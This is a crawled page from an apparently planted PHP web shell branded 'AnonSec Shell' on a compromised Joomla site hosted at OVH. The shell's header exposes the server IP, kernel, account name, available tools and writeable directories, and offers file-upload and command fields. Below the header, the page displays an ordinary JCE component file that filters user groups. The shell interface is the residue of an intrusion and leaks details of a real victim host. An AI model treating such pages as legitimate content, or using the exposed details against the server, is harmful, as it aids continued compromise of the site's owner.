AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/administrator/components/com_jce/models/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/administrator/components/com_jce/models/fields/usergroups.php
<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Form\Field\UsergrouplistField;

/**
 * User group list filtered by the global profile_groups_whitelist setting.
 * When no whitelist is configured all groups are shown (default behaviour).
 */
class JFormFieldUsergroups extends UsergrouplistField
{
    public $type = 'Usergroups';

    protected function getOptions()
    {
        $options = parent::getOptions();

        $whitelist = array_filter(array_map('intval', (array) ComponentHelper::getParams('com_jce')->get('profile_groups_whitelist', [])));

        if (empty($whitelist)) {
            return $options;
        }

        return array_values(array_filter($options, function ($option) use ($whitelist) {
            return !is_numeric($option->value) || in_array((int) $option->value, $whitelist, true);
        }));
    }
}

Anon7 - 2022
AnonSec Team